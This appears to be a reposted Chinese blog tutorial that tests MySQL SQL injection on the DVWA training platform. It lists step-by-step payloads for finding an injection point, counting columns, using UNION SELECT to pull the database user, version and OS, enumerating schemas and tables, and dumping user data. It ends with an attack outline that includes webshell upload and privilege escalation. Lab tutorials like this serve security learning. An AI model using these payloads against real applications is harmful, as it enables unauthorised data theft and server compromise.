1. 程式人生 > 實用技巧 >SQL注入之DVWA平臺測試mysql注入

SQL注入之DVWA平臺測試mysql注入

今天主要針對mysql常用注入語句進行測試。

測試環境與工具:

測試平臺:DVWA,下載地址:http://down.51cto.com/data/875088,也可下載metaspolit-table2虛擬機器,裡面已經部署好了dvwa.。

***工具:burpsuite-1.4.07下載地址:http://down.51cto.com/data/875103

首先我們介紹下DVWA和Burpsuite,DVWA這是一個php+mysql平臺構建的預置web常見漏洞的***練習平臺。能夠幫助web應用安全研究人員很好了解web漏洞。Burpsuite是一款功能強大的web***測試工具。

SQL注入漏洞在OWASPTOP10威脅中,一直排名第一,安全威脅可見一斑。SQL注入***測試過程中,針對不同的資料庫平臺,注入語句選擇也不同,本篇筆者主要測試mysql注入的常用語句以及***思路。

登入訪問DVWA,預設使用者名稱:admin密碼:password.

220435829.jpg

登入之後,將dvwa的安全級別調成low,low代表安全級別最低,存在較容易測試的漏洞。220558766.jpg

1、找到SQlInjection選項,測試是否存在注入點,這裡使用者互動的地方為表單,這也是常見的SQL注入漏洞存在的地方。正常測試,輸入1,可以得到如下結果

220715401.jpg

當將輸入變為“'”時,頁面提示錯誤“YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear'''''atline1”,結果如圖。看到這個結果,我們可以欣慰的知道,這個表單存在著注入漏洞。

220928599.jpg

2、嘗試遍歷資料庫表,由於使用者輸入的值為ID,因此我們習慣判斷這裡的注入型別為數字型,因此嘗試輸入:1or1=1,看能否把資料庫表中的內容遍歷出來。可是結果如下,並沒有顯示出所有資訊

221046386.jpg

於是猜測,是否後臺應用程式將此值看做了字元型,於是輸入:1'or'1'='1,結果,遍歷出了資料庫中的所有內容,如果是重要資料庫表,可能這個資訊已經對於***者,有了足夠意義:如圖

1'or'1'='1

221557116.jpg

3、測試查詢資訊列數。利用語句orderbynum

這裡我們輸入"1'orderby1--"結果頁面正常顯示,注意--後面有空格。繼續測試,"1'orderby2--","

1'orderby3--",當輸入3是,頁面報錯。頁面錯誤資訊如下,Unknowncolumn'3'in'orderclause',由此我們判斷查詢結果值為2列。

1'orderby1--

1'orderby3--

Unknowncolumn'3'in'orderclause'

4、通過得到連線資料庫賬戶資訊、資料庫名稱、資料庫版本資訊。利用user(),及database(),version()等三個內建函式。

這裡嘗試注入“1'and1=2unionselect1,2--”結果如下

1'and1=2unionselect1,2--

223005140.jpg

從而得出Firstname處顯示結果為查詢結果第一列的值,surname處顯示結果為查詢結果第二列的值,利用內建函式user(),及database(),version()注入得出連線資料庫使用者以及資料庫名稱:

1'and1=2unionselectuser(),database()--

223356814.jpg

連線資料庫的使用者為[email protected],資料庫名稱為dvwa,進一步利用函式version(),嘗試得到版本資訊,1'and1=2unionselectversion(),database()--”便得到了版本資訊,

1'and1=2unionselectversion(),database()--223758187.jpg

5、獲得作業系統資訊。

1'and 1=2 union select 1,@@global.version_compile_os from mysql.user --

224156509.jpg

6、測試連線資料庫許可權:

 1' and ord(mid(user(),1,1))=114 -- 

224430165.jpg

7、查詢mysql資料庫,所有資料庫名字:這裡利用mysql預設的資料庫infromation_scehma,該資料庫儲存了Mysql所有資料庫和表的資訊。

1' and 1=2 union select 1,schema_name from information_schema.schemata -- 

8、猜解dvwa資料庫中的表名。利用1‘andexists(select*from表名),此處表名猜解可以通過brupsuit掛字典猜解。這裡測試的結果,表名為users,burpsuite如何自動注入,在稍後文章進一步介紹。這裡猜解表名,在真實***測試環境中,***者往往關心儲存管理員使用者與密碼資訊的表。

1'andexists(select*fromusers)--

225303326.jpg

9、猜解欄位名:1'andexists(select表名fromusers)--,這裡測試的欄位名有first_name,last_name

1' and exists(select first_name from users) -- 
ID: 1' and exists(select last_name from users) -- 

225605982.jpg

225605479.jpg

10、爆出資料庫中欄位的內容1'and1=2unionselectfirst_name,last_namefromusers--,這裡其實如果是存放管理員賬戶的表,那麼使用者名稱,密碼資訊欄位就可以爆出來了。

231006742.jpg

以上是筆者根據dvwa平臺sqlinjection漏洞對mysql常用語句所做的測試。這裡我們可以大致總結***的一般思路:

1、尋找注入點,可以通過web掃描工具實現

2、通過注入點,嘗試獲得關於連線資料庫使用者名稱、資料庫名稱、連線資料庫使用者許可權、作業系統資訊、資料庫版本等相關資訊。

3、猜解關鍵資料庫表及其重要欄位與內容(常見如存放管理員賬戶的表名、欄位名等資訊)

4、可以通過獲得的使用者資訊,尋找後臺登入。

5、利用後臺或瞭解的進一步資訊,上傳webshell或向資料庫寫入一句話***,以進一步提權,直到拿到伺服器許可權。

今天筆者只在dvwa平臺現有環境下,簡單測試了mysql幾個常用注入語句:

1'orderby2--/*用來猜解查詢資訊的列數

1'and1=2unionselectuser(),database(),--

1'and1=2unionselectuser(),version(),--/*利用user(),database(),version()函式獲得資料庫資訊

1'and1=2unionselect1,@@global.version_compile_osfrommysql.user--/*獲得作業系統資訊1'andord(mid(user(),1,1))=114--/*測試連線資料庫使用者許可權

1'and1=2unionselect1,schema_namefrominformation_schema.schemata--/*爆出所有資料庫名稱1'andexists(select*fromusers)--/*猜解表名

1'andexists(selectfirst_namefromusers)--/猜解欄位名

1'and1=2unionselectfirst_name,last_namefromusers--/*猜解欄位內容

關於mysql注入測試,就簡單介紹到這裡,如有錯誤,歡迎指正。關於brupsuite如何自動注入,將在其他篇章介紹。

轉載於:https://blog.51cto.com/hackersec/1251632